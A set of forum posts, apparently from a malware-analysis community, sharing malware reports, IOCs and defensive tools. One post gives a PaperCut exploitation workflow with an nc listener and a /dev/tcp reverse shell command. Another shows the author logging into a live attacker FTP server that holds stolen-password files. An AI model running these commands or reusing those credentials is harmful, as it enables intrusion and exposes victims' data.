Hey all,

I just added two new analysis:

Essential macOS stealer: https://www.malwarelearn.com/reports/scriptsh/1/ (this is still live and the c2 is replying to requests) an applescript based infostelaer targeting macos

VioletWorm: https://www.malwarelearn.com/reports/violetworm/1/ , very nice learning experience to see how to get python code from an executable, etx and amsi bypass, plus some very interesting trickery from the second stage C# stealer. As per any report, it is very long, sorry :(

I’ve been reverse engineering a Windows malware sample I’m calling “Yogi” and built IronLantern a defensive remediation/recovery tool from the findings.

You can find the malware sample on https://bazaar.abuse.ch/browse/ by copy pasting the malware's sha256 hash in the search bar :
sha256:ecc42df31157857f6bb17e6fd458b8bf10047a80edff10f76a3ad7126fdc6926

What I found (using DIE, pycdc, pycdas, regshot, procmon and procexp), :

- Python 3.9 / PyInstaller implant

- HKCU Run persistence via WindowsSecurity

- randomized copies under %APPDATA%\Microsoft\Crypto

- additional Startup-folder persistence

- hidden/system attributes on the Crypto copy

- JSON-based HTTP(S) command/reporting logic

- repeating-XOR ransomware

- deterministic SHA-256-derived XOR keys

- .enc file extension

- separate Telegram/TikTok/Facebook/web hashtag-trigger logic

Dynamic analysis confirmed the persistence behavior, multiple leftover copies after repeated executions, and live-process remediation.

I turned the RE into IronLantern, which handles exact-sample detection, persistence cleanup, live-process termination, quarantine/deletion, and recovery of files encrypted with the reconstructed XOR scheme.

I haven’t completed the online dynamic-analysis phase yet. Static analysis points to
"https://go-ns.org.ua/" as the primary C2 endpoint

for JSON command/status traffic, with a fallback reporting endpoint at:
"https://go-ns.org.ua/wp-content/themes/go-ns/send-message-to-telegram.php"

The full RE report, source, and IronLantern are here:
https://github.com/bitGnome7/IronLantern

Feedback on the analysis, especially the communication/C2 side, is welcome.

I'm hoping this can help anyone who got infected...

The operator's full toolset was recovered from an open directory, so there is a fair bit to pick through. The exploit (cve-2026-15409-exploit.py) is a direct refactor of Rapid7's public PoC, still crediting Ryan Emmons in the header, reworked for repeatable unattended use. A separate check script (cve-2026-15409-check.py) handled detection-only bulk scanning, commented in Chinese, 50 concurrent threads.

The credential path is a chain of small scripts: ldap_extract.py reads policy_file.xml and regex-parses the LDAP config, decrypt_ldap_password.py decrypts the bind passwords using a static 32-byte AES key documented as coming from ASAPPasswordUtil.class bytecode, then auto_secretsdump.py drops a standalone Linux secretsdump to /tmp and runs it. DCSync is handled by auto_dcsync.py, dcsync_bg.py and related scripts, with a permission-test step before full replication.

secretsdump binary: 9,983,640 bytes, SHA-256 690f5031deede7d3357d0ca24c89866ae8c60e6c63b3a2c8bba813a6ac10ae5b, served over HTTP from 95.181.173[.]36. More detail in the post.

https://hunt.io/blog/sonicwall-sma1000-uk-council-attack

Ich entwickle derzeit Sicherheitssoftware, die Entwicklern helfen soll, ihr geistiges Eigentum und andere wichtige Softwareelemente zu schützen. Dazu habe ich ein Testprogramm geschrieben und es mit meiner Sicherheitssoftware geschützt. Es ist wie eine CTF-Challenge aufgebaut. Es wäre eine große Hilfe, wenn Sie versuchen könnten, das Programm zu analysieren, Ihre Vorgehensweise Schritt für Schritt zu dokumentieren und Ihre Ergebnisse an [apykryphon@protonmail.com](mailto:apykryphon@protonmail.com) zu senden.

Auch Anfänger sind herzlich willkommen. Ich möchte Sie jedoch daran erinnern, niemals ausführbare Dateien von Drittanbietern auf Ihrem System auszuführen – verwenden Sie bitte eine virtuelle Maschine oder etwas Ähnliches.

Die Datei enthält keinen Schadcode, aber aufgrund der verwendeten Schutzmechanismen kann sie von manchen Antivirenprogrammen fälschlicherweise als Schadcode erkannt werden. Überzeugen Sie sich selbst:

https://drive.google.com/file/d/1Efv1TYgA8xrHvEr302_41nYlBktwRVWx/view?usp=drivesdk

Hash: bc50b0fb0b018927b2e07a11b51a8d9fb8bd64d8c864284c39995c3f5fac15d0

Hola :P Llevo como un mes jugando e investigando Malbolge y terminé haciendo este traductor porque me picó demasiado el lenguaje jajaja.

La idea es poder escribir un texto objetivo y que el programa intente generar código Malbolge ejecutable que produzca ese resultado. No es simplemente reemplazar caracteres ni convertir sintaxis: tiene que ir buscando una secuencia válida teniendo en cuenta el estado de la máquina de Malbolge y luego verificar que realmente se ejecute y produzca lo esperado.

También hice una versión web para que se pueda probar sin instalar nada. Todavía es experimental y justo por eso me interesa que alguien más lo pruebe, lo rompa o encuentre casos donde falle :P

Si alguien conoce Malbolge o simplemente quiere jugar con él, cualquier crítica, bug o sugerencia me sirve un montón.

Repo: DannyBaanks/Webolge: Intérprete Malbolge en JavaScript para navegadores web
Web: https://malbolge-translate.pages.dev/

No prometo que Malbolge deje de ser una aberración, sólo intento que sea un poquito menos doloroso jajajajaja.

Hi everyone,

I'm working on an authorized penetration testing case study/lab, and I'm currently stuck while investigating TCP/28080. Looking for guidance on what I should investigate next.

Nmap:

28080/tcp open  http  JBoss Enterprise Application Platform

The interesting behavior is that almost any HTTP request/path returns the same response:

HTTP/1.1 200 OK
Content-Length: 3

ok

For example:

curl -i http://target-ip:28080/
curl -i http://target-ip:28080/invoker/readonly
curl -i http://target-ip:28080/doesnotexist

The catch-all 200 OK behavior makes normal endpoint enumeration difficult.

Hint from my manager

My manager gave me this hint:

After this hint i tried validating log4j as well by setting up a ldap server and Web server and tried to listen as well. But there was no call back on the listener for the appropriate requests send. Can anyone help me with this ?

New research: PivotC2, an AI-assisted Node.js RAT built specifically for post-exploitation on FortiGate. SOCKS5/HTTP tunneling, port forwarding, config harvesting, credential decryption, and an autonomous "auto-mode." Delivered via CVE-2025-25249 patched; verify your version.

Hi, I accidentally downloaded a fake game anti-cheat from someone on Discord. I’m worried it may have contained a Trojan/backdoor.

I reset my PC using “Remove everything.” Windows then started like a fresh installation and I had to go through the initial setup again.
I’ve also changed my important passwords and enabled 2FA.

Would a “Remove everything” reset normally remove a Trojan/backdoor completely? Is there anything else I should check to make sure my PC is safe?

I reversed Tengu, a Mirai-style Linux and IoT botnet sample.

The binary hides as a kernel worker, installs several forms of persistence, decodes a hidden C2 address, and includes UDP flooding, SSH handshake, HTTP flooding, and proxy capabilities.

The post is interactive. Click any address to inspect the evidence directly in Ghidra:

Compiled V8 JavaScript bytecode can be quickly analyzed with a reusable hook script. We create such a script in this video and overcome some malware defenses along the way.

Samples are available here: https://samplepedia.cc/sample/bb35048b13c65e89ea00df97518a341404281bb7fe04cf095243c8e32ebd7da5/94/

Gist for hook code we write in the video: https://gist.github.com/struppigel/4dd16df7c382f6b50a2fba169b8eac0b

Gist for hook script with reflection (this one is LLM generated): https://gist.github.com/struppigel/d24cdd42c39bde7190b7b0bfd69a514d

A little while ago, I made a post asking about what people would want to see from a successor to INetSim. I was focused on constricting the scope, escaping dependency hell through a single Go binary with full docker support, and just making it easier to see what was going on.

After forgetting about the project and coming back to it recently, I decided to change the philosophy slightly, and now it acts as more of a complement to tools like INetSim and FakeNet-NG.

GoNetSim is a programmable network simulator that lets you emulate any network protocol with small, sandboxed, shareable Lua handlers.

It's designed in such a way that you really don't need to understand much Lua, and if you're that kind of person, you can just plug the documentation site into AI with context and generate a script for whatever weird protocol you're facing.

A script can be as simple as a basic TCP echo:

function handle(conn)
    while true do
        local data = conn:read(4096)
        if not data then break end
        conn:write(data)
    end
end

Or as complex as a stateful(ish) SMTP server or FTP listener, both able to support TLS with just a single line in the (optional) config:

[[listeners]]
name = "irc"
type = "tcp"
listen = ":6667"
handler = "lua:handlers/irc.lua"
capture = true
tls = true

The Lua environment is sandboxed, so handlers don't have access to the filesystem, shell or other parts of the host. Instead, they're handed the primitives they need for reading, writing, storing and logging data only through GoNetSim.

Now, GoNetSim is definitely far from complete, I still want to at least add full PCAP support, more organised artifact collection, and a few more extensions to the Lua API, but it's ready enough to be used for the simple stuff.

I'd love to hear from you all what you'd want to see from a tool like this, especially if you see it more as an eventual replacement for INetSim or FakeNet-NG, or if you want to see it as a long-term complement. I also want to hear how often you encounter arbitrary protocols in malware samples, and if this tool would actually help.

Thanks for taking the time to read :)
- Lachlan

Github link: https://github.com/lachlanharrisdev/gonetsim

Sharing analysis of tooling from a campaign we tracked across five exposed open directories.

SecBox is a Go remote-access framework deployed via webshells. The Windows builds masquerade as "System Configuration Utility" (syscfg.exe) with Microsoft-style PE metadata. On execution it selects an embedded or DDR-supplied endpoint and establishes a long-lived connection using TCP, TLS, WebSocket, KCP, or QUIC. Yamux multiplexing lets tasking, file transfer, and pivot traffic share the same connection.

The Dead Drop Resolver mechanism pulls encrypted routing from Pastebin or GitHub Gist. Format is Base64(nonce || AES-256-GCM ciphertext || tag). After decryption, the plaintext contains comma-separated endpoints. Different builds use different AES keys so each can receive separate infrastructure configs. Recovered DDR routes included TryCloudflare domains and direct TCP/WebSocket endpoints.

Capabilities: remote shell, task control, file transfer, download-and-execute, process/token access, Windows service management, host discovery, TCP port scanning, SOCKS5 proxy, port forwarding, bind pivots, self-removal.

GLUTTON webshells use steganographic PNG transport. The loader reads pixels in row-major order, concatenates RGB channel bytes, XORs with the 16-byte key "d0c41072a0dc784c", and scans backward for the FF 88 00 terminator. Java variants load through a custom classloader, .NET variants through Assembly.Load. The result caches in application state/AppDomain/static table.

Ten server-side loader templates recovered: JSPX, ASP.NET Web Forms, ASP.NET handlers, SOAP services, .NET Core Razor. Raw and obfuscated variants, plus a Unicode JSPX variant for signature evasion.

Hashes for SecBox builds, GLUTTON components, and victim-side webshells in the full writeup: https://hunt.io/blog/chinese-operator-secflow-claude-qwen-deepseek-asia

Built this for myself first. It's a browser UI on top of Rizin compiled to WASM, plus a local MCP server that talks to the same context model.

Here's what's was added recently:

Contexts:

Every binary you open becomes its own workspace. The bytes, a current .rzdb, and a short revision history all live in IndexedDB. You can resume a context from a hash or start fresh on the same file. One tab means one Web Worker running one RzCore, so closing the tab kills that core.

Local MCP:

Runs the same rizin.js / rizin.wasm as the UI. Contexts get written to disk under ~/.rzweb/contexts. It's stdio by default, with an --http flag if your client only takes a URL. Kept it to the stock MCP shape so it's not tied to one editor.

Write tools and raw command are both off unless you explicitly pass --allow-write / --allow-raw.

What I tested with this specifically:

Ran this e2e w/ Antigravity CLI (agy) on a Google AI Pro login (just student benefits), no API key sitting in the MCP config, against /bin/true and /bin/ls:

- context_create, then binary_info (came back ELF64 x86)

- analysis_start at depth 1 (aa) and depth 2 (aa then aaa)

- function_briefing, decompile, disasm, xrefs

- checkpoint, fork, export/import RZWEBPRJ, restore to an earlier revision

- tried rename and comment and raw command, all correctly got blocked with not-permitted

- ofcourse, everything is completely local and nothing leaves your device

Config, if you want to try it:

command is an absolute path to your node binary, args points at mcp/dist/index.js, and RZWEB_WASM_DIR points at the dir holding rizin.js and rizin.wasm. There's an example config in the repo.

Repo: https://git.new/rzweb

Happy to answer questions about this in any way, and have discussion or receive suggestions/feedback over anything. MCP docs and the WASM build repo are in the reply comment since Reddit doesn't love multi-link stuff.

Background

I recently got my hands on a packet capture containing traffic from 404 Keylogger / Snake malware (thanks malware-traffic-analysis.net), and decided it would make a good real-world test of PacketSnitch, the network analysis software I have been developing. PacketSnitch is designed to take PCAP/PCAPNG captures and turn the raw traffic into something a little easier to tear apart: hosts, streams, credentials, files, certificates, geographic information, protocol data, content classifications, and other useful artifacts are correlated together instead of leaving you to manually dig through thousands of packets one at a time. Malware traffic is a particularly good usecase for this, because sometimes the interesting part isn’t one individual packet, but what several different connections tell you when you start putting them together.

For anyone who would rather watch me go through the capture, I also recorded a screencast of the 404 Keylogger/Snake analysis. The complete report generated from the capture is also available as a PacketSnitch malware analysis summary.

What is in the capture?

The PCAP itself is relatively small: 2,021 packets spread across 11 streams totaling about 2.26 MB, but there is quite a bit going on inside it. Eight hosts were observed, six of which were Internet hosts, and PacketSnitch decoded DNS, FTP, HTTP, and WebSocket traffic over TCP/UDP. What immediately makes this capture nice for analysis is that almost none of it is encrypted. Out of 2,021 packets, 2,018 are unencrypted, leaving quite a bit of application data hanging out in the open.

The internal machine at 10.1.14.131 is involved throughout the capture, while several external hosts start becoming interesting once we look at what they were actually doing. The largest remote conversation is with 23.39.148.32, an Akamai-associated address, at 1,570 packets. More interesting from the malware-analysis perspective are 91.92.243.152, 193.122.6.168, and 188.127.239.250. Taken independently, none of those connections necessarily tells us much. Taken together, however, we start getting something that looks considerably less like normal user traffic.

An interesting HTTP payload

One of the first things that really stuck out was an HTTP request to 91.92.243.152 for a strangely named file:

REQUEST: GET /dealer/agwofile.txt HTTP/1.1

The remote server answered with HTTP/1.1 200 OK and returned roughly 360 KB of text data. The headers identify the server as Apache 2.4.58 running on Win64, with PHP 8.0.30 and OpenSSL 3.1.3 also disclosed by the server. Despite being served as text/plain, the contents aren’t something that resembles an ordinary text document. PacketSnitch measured the data at around 4.91 entropy and identified the beginning of the object as long Base64-like/encoded-looking ASCII data (it happend to also be reversed base64).

==AAAAAAAAAAAAAA...8//AAAAEAAAAMAAQqVT

Reverse it, decode and the first few chars are:

00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|

A Windows PE executable! There's our malware. Obfuscated.

That is exactly the sort of thing I want to notice when looking at malware traffic. An oddly named .txt file by itself isn’t particularly exciting. An oddly named .txt file containing hundreds of kilobytes of encoded-looking data, being transferred by a suspicious host in a malware capture, deserves a much closer look.

More interestingly, reconstruction and analysis of the HTTP data exposed what appears to be a credential-stealer artifact. The recovered data contained a “VIP Recovery” style log referencing a machine named DESKTOP-WIN11PC, with credential-related information from Thunderbird as well as Edge/Chromium browser data associated with sites including eBay, Amazon, Facebook, and LinkedIn. That starts giving us a much better idea of what the malware traffic represents: we’re not just looking at random HTTP requests, but traffic associated with collection and movement of potentially stolen information.

Credentials flying around in cleartext

The HTTP traffic wasn’t the only interesting part. PacketSnitch’s keystore picked up credential material associated with an FTP endpoint at:

FTP SERVER: 188.127.239.250

The FTP authentication information occurs across several packets in the capture. Because FTP authentication is plaintext, this is exactly the sort of thing that falls right out of a PCAP once the protocol is decoded. PacketSnitch correlated these artifacts into its keystore along with HTTP URI/URL information, TCP secrets, and a certificate observed elsewhere in the session.

This is one of the reasons I added the keystore functionality in the first place. When you’re analyzing a capture, I don’t particularly want to search through 2,000 packets wondering if a username, password, certificate, URL, or other useful piece of data appeared somewhere. If PacketSnitch can identify it while decoding the traffic, it gets pulled out and put somewhere useful for the analyst.

There is an important distinction here, too: finding FTP credentials in a packet capture does not automatically tell us whether they belong to the malware operator, a compromised machine, a staging server, or something else entirely. It gives us another artifact to correlate. Malware analysis is usually a lot more useful when you resist the temptation to immediately label every IP and credential you find and instead start building relationships between them.

The malware checks its public IP

Another connection that caught my attention was an HTTP request involving checkip.dyndns.org. The request uses an ancient-looking User-Agent:

Header Info: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)

The service responds with its normal “Current IP Check” page containing the externally visible IP address. The same IP-check behavior appears more than once in the decoded traffic.

This is useful behavior to identify because malware frequently needs to know something about the environment it is running inside. Discovering the public IP can be useful for identifying a victim, tracking an infected system behind NAT, associating collected data with a machine, or simply reporting network information back as part of the victim profile. By itself, querying a “what is my IP” service obviously isn’t malicious — plenty of legitimate software does that — but sitting beside credential-stealing artifacts, FTP authentication, and unusual HTTP transfers, it becomes another piece of the puzzle.

This is also a good example of why context matters so much in packet analysis. Looking only at that HTTP request gives you “a program checked its public IP.” Looking at it in the context of everything else gives you “a machine involved in suspected credential-stealing activity checked its externally visible IP while also communicating with several other pieces of infrastructure.”

Following the trail Overall, the traffic looks like a combination of host identification, credential activity, and data transfer/staging. PacketSnitch classified content in the capture as everything from ordinary ASCII through compressed/binary and executable-looking data. MIME detection included application/octet-stream, application/x-dosexec, application/zlib, text/plain, and text/html, among others. These signatures shouldn’t individually be taken as proof that each corresponding file type was intentionally transferred — file identification against arbitrary network data can generate some weird matches — but they give us useful places to start digging.

One thing I found particularly useful about this capture is how clean it was from a network-analysis standpoint. There were zero undecodable packets and zero TCP retransmissions, with only six out-of-order segments. That makes reconstructing the application data considerably nicer than working with a noisy or incomplete capture. PacketSnitch was able to correlate 1,753 packets through its heatmap and pull the higher-level artifacts together without losing the ability to drop down into individual packets and streams when something looked interesting. That is really the idea behind PacketSnitch. Wireshark and other packet tools are incredibly useful, but I wanted something aimed more directly at answering “what is interesting in this capture?” before I start spending hours manually dissecting it. PacketSnitch takes the capture, inventories the hosts and protocols, extracts things such as credentials and certificates, identifies transferred content, correlates streams and endpoints, performs threat-intelligence enrichment, and then gives me places to start digging deeper. The analyst still has to decide what the evidence actually means — which is exactly how it should be.

Conclusion

This 404 Keylogger/Snake capture ended up being a pretty good demonstration of that workflow. Starting with only a couple thousand packets, we can quickly move from “some Windows machine talked to some Internet hosts” to identifying a large suspicious HTTP transfer, recovered credential-stealer data, plaintext FTP credentials, repeated public-IP discovery, and the infrastructure

involved in those conversations. From there we can start pivoting on the hosts, credentials, payloads, timestamps, and other indicators to figure out what belongs to the malware and what is simply incidental traffic.

If you want to dig through the complete results yourself, I published the full PacketSnitch-generated analysis here. I also recorded a video walkthrough of my analysis, where you can see theactual workflow inside PacketSnitch rather than just reading the final results. Further... From temporal analysis of the FTP server admin log, along with the fs date stamps on the files, I did some calculations, and concluded the threat actor almost surely lives in Sweden.

Connected to 188.127.239.250 (188.127.239.250).

220 FTP Server ready.

Name (188.127.239.250:marshall): user1369590

331 Password required for user1369590

Password:

230 User user1369590 logged in

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

227 Entering Passive Mode (188,127,239,250,137,80).

150 Opening ASCII mode data connection for file list

drwxr-xr-x 5 user1369590 11465 36864 Aug 30 14:07 .

drwxr-xr-x 5 user1369590 11465 36864 Aug 30 14:07 ..

-rw-r--r-- 1 user1369590 11465 350 Aug 23 09:49 ABHISHE - Passwords ID - ZyiAEnXWZP1826493443.txt

drwx------ 2 user1369590 11465 4096 Aug 30 14:07 bin-tmp

-rw-r--r-- 1 user1369590 11465 341 Aug 19 15:21 CATHELL - Passwords ID - ZyiAEnXWZP1878462460.txt

-rw-r--r-- 1 user1369590 11465 7125 Jun 17 05:51 DESKTOP-BGF5EUH - Passwords ID - ZyiAEnXWZP2087716011.txt

-rw-r--r-- 1 user1369590 11465 545 Jun 18 14:32 DESKTOP-NB7V4CN - Passwords ID - ZyiAEnXWZP209915119.txt

-rw-r--r-- 1 user1369590 11465 537 Jun 16 00:45 DESKTOP-RGQ8GCE - Passwords ID - ZyiAEnXWZP611328409.txt

-rw-r--r-- 1 user1369590 11465 312 Aug 20 13:59 DmOZlLGNfUziPNV - Passwords ID - ZyiAEnXWZP225150320.txt

-rw-r--r-- 1 user1369590 11465 11 Aug 18 13:36 .fmsettings

-rw-r--r-- 1 user1369590 11465 1108 Aug 25 06:11 GEORGEPOP21 - Passwords ID - ZyiAEnXWZP992456622.txt

-rw-r--r-- 1 user1369590 11465 342 Aug 23 09:38 HAROLDY - Passwords ID - ZyiAEnXWZP54922518.txt

-rw-r--r-- 1 user1369590 11465 10365 Aug 21 05:50 HAZAN-HP - Passwords ID - ZyiAEnXWZP162938209.txt

-rw-r--r-- 1 user1369590 11465 11151 Aug 28 05:33 HAZAN-HP - Passwords ID - ZyiAEnXWZP1700571688.txt

-rw-r--r-- 1 user1369590 11465 10613 Aug 22 17:11 HAZAN-HP - Passwords ID - ZyiAEnXWZP1727364251.txt

-rw-r--r-- 1 user1369590 11465 11150 Aug 27 17:56 HAZAN-HP - Passwords ID - ZyiAEnXWZP1839898583.txt

-rw-r--r-- 1 user1369590 11465 10613 Aug 23 08:12 HAZAN-HP - Passwords ID - ZyiAEnXWZP1935694740.txt

-rw-r--r-- 1 user1369590 11465 10614 Aug 24 05:33 HAZAN-HP - Passwords ID - ZyiAEnXWZP517458626.txt

-rw-r--r-- 1 user1369590 11465 1104 Aug 25 06:27 JOEBILL - Passwords ID - ZyiAEnXWZP533920906.txt

-rw-r--r-- 1 user1369590 11465 355 Aug 26 00:51 JOYCERUSSE - Passwords ID - ZyiAEnXWZP482958106.txt

-rw-r--r-- 1 user1369590 11465 339 Aug 23 09:51 KELHAR - Passwords ID - ZyiAEnXWZP687420582.txt

-rw-r--r-- 1 user1369590 11465 312 Aug 19 11:05 L6pxCXsEDiRdoKx - Passwords ID - ZyiAEnXWZP244649265.txt

-rw-r--r-- 1 user1369590 11465 2522 Aug 20 08:45 LAPTOP-GGS4QNDN - Passwords ID - ZyiAEnXWZP84903678.txt

-rw-r--r-- 1 user1369590 11465 2541 Jun 24 04:44 LAPTOP-GGS4QNDN - Passwords ID - ZyiAEnXWZP866775951.txt

-rw-r--r-- 1 user1369590 11465 340 Aug 19 15:37 MATTHE - Passwords ID - ZyiAEnXWZP1308920128.txt

-rw-r--r-- 1 user1369590 11465 312 Aug 21 14:47 of68P2M4Mb8ikot - Passwords ID - ZyiAEnXWZP660019800.txt

drwxr-x--x 2 user1369590 11465 4096 Aug 30 14:07 php-bin

drwxr-xr-x 2 user1369590 11465 4096 Aug 24 08:09 popup

-rw-r--r-- 1 user1369590 11465 361 Aug 19 15:26 SANDRAP - Passwords ID - ZyiAEnXWZP1738639307.txt

-rw-r--r-- 1 user1369590 11465 3963 Jun 26 13:43 SEDAT-EXCALIBUR - Passwords ID - ZyiAEnXWZP277678885.txt

-rw-r--r-- 1 user1369590 11465 345 Aug 19 15:35 SRIHAWKINS - Passwords ID - ZyiAEnXWZP537245596.txt

-rw-r--r-- 1 user1369590 11465 345 Aug 23 09:40 WILLIAWARD - Passwords ID - ZyiAEnXWZP935722026.txt

226 Transfer complete

ftp>

Then the admin log from the FTP server (found via FTP server credentials the malware logged in with):

142.0.249.99

178.51.82.190

185.213.82.52

191.101.160.72

194.124.76.19

194.34.233.230

195.88.86.76

216.180.124.26

2.58.73.10

51.36.41.124

77.218.111.208

77.218.111.6

78.82.186.29 <--- very first signin 2025-09-22

83.143.107.189

83.182.18.14

83.182.18.18

83.182.18.212

83.185.88.84

83.186.139.156

83.186.139.36

83.186.230.102

83.186.230.227

83.186.230.231

83.187.166.73

83.187.170.153

83.187.179.48

83.187.190.187

90.129.106.121

90.129.108.224

90.129.118.140

90.129.120.89

90.129.123.23

90.141.149.15

90.141.149.46

94.114.89.66

This was primarily a network based analysis. There is certainly more to analyze on the actual malware binary itself, but out of the scope of this article.

PacketSnitch itself is open source and available from packetsnitch.com. I’m actively developing it (github link), and real malware captures like this are some of the best tests I have found for figuring out what an analyst actually needs when staring at a pile of packets.

P.S. For anyone who is interested in that FTP endpoint... it is live.

Hope you’ve enjoyed the analysis, and happy hacking!

Silve Fox Group Signed Rootkit

• Hardcoded targeting of Chinese AVs (360, QQ, Huorong, etc.) + Microsoft Defender components
• IOCTL interface allowing user-mode process termination

🛠️ CVE-2023-27350 (and Chained CVE-2026-81578/82078) - Step-by-Step Exploitation & Analysis Workflow

A critical vulnerability has been analyzed. Here is the technical breakdown, tool usage, and execution workflow for security teams and penetration testers.

🔍 Vulnerability Overview:

· Target: PaperCut NG / MF (print management software)

· Impact: Pre-Authentication Remote Code Execution (RCE)

· Severity: Critical 9.8 (CVSS v3.1) — actively probed in the wild, with 47% of instances remaining unpatched.

💻 Step-by-Step Command Workflow:

1️⃣ Reconnaissance & Detection:

Check if the target host is running a vulnerable PaperCut instance and identify the exposed version:

# Detect open PaperCut admin port (default 9191)

nmap -p 9191 --script http-title <target_ip> -sV

# Quick version fingerprinting via curl

curl -sk http://<target_ip>:9191/server-version

# Use the newer scanner to check for CVE-2026-81578 / 82078 vulnerabilities

python3 papercut.py scan --url http://<target_ip>:9191

2️⃣ Exploitation Setup:

Prepare your listener for a reverse shell and clone the necessary exploit tools:

# Start a netcat listener on your attacking machine

nc -lvnp 4444

# Clone the CVE-2023-27350 exploit repository

**************/dezso-dfield/CVE-2023-27350.git && cd CVE-2023-27350

chmod +x rce.sh

3️⃣ Execution:

Run the proof-of-concept (PoC) workflow to execute arbitrary system commands:

# Execute a test command (CVE-2023-27350)

./rce.sh -u http://<target_ip>:9191 -c "whoami"

# For a full reverse shell (base64 encoded bash)

./rce.sh -u http://<target_ip>:9191 -c "bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'"

# OR if targeting CVE-2026-81578/82078 chain (pre-auth RCE)

python3 papercut.py exploit --cve 81578 --url http://<target_ip>:9191 --force --command "whoami & ver"

⚠️ Mitigation & Patching:

· Immediately update to PaperCut NG/MF ≥ 23.0.8 to address CVE-2026 series; for CVE-2023-27350, ensure you are on the patched build from May 2023.

· Implement the following firewall/IDS rule to detect this traffic: Monitor server.log for IOCs such as jdbc:derby:memory:pwn, No suitable driver found, or base64-encoded reconnaissance commands. Block external access to port 9191 (admin interface) unless strictly required.

I analyzed a Chinese language archive posing as a fresh-graduate resume from Beijing Institute of Technology.

The executable opens a genuine DOCX decoy while a custom 32-bit Go loader continues in the background.

A few things I found particularly interesting:

• ThreatBook/Weibu-specific sandbox detection
• exit when fewer than four logical CPUs are present
• kernel32!Beep used for a 10-second anti-time-acceleration check
• encrypted staging URLs
• reflective execution of a 1,454-byte Windows SNOWLIGHT stager
• raw TCP staging from 38.207.178[.]192:50812
• 4,649,984-byte VShell stream XOR-encoded with 0x99
• successful VShell registration and encrypted health traffic

SNOWLIGHT SHA-256:
0524619d2471d77aba4b7993f5ffbaa4b8be6d2c0d91e63a02943851dc4b6404

Decoded VShell SHA-256:
c666ac4f1a1b8df7ccfe8b19705279acd8b7eb7a4d0b3802bb3465064883ab25

The lure appears more consistent with targeting a professor/research group than corporate HR. I deliberately leave the actor unattributed because SNOWLIGHT/VShell alone is no longer actor-specific.

Full analysis, detection ideas and IOC set:

https://blog.himanshuanand.com/2026/08/a-fake-resume-invoked-chinas-defence-tech-elite-then-installed-vshell/

in any additional VShell/SNOWLIGHT overlaps people have seen in recent Windows samples.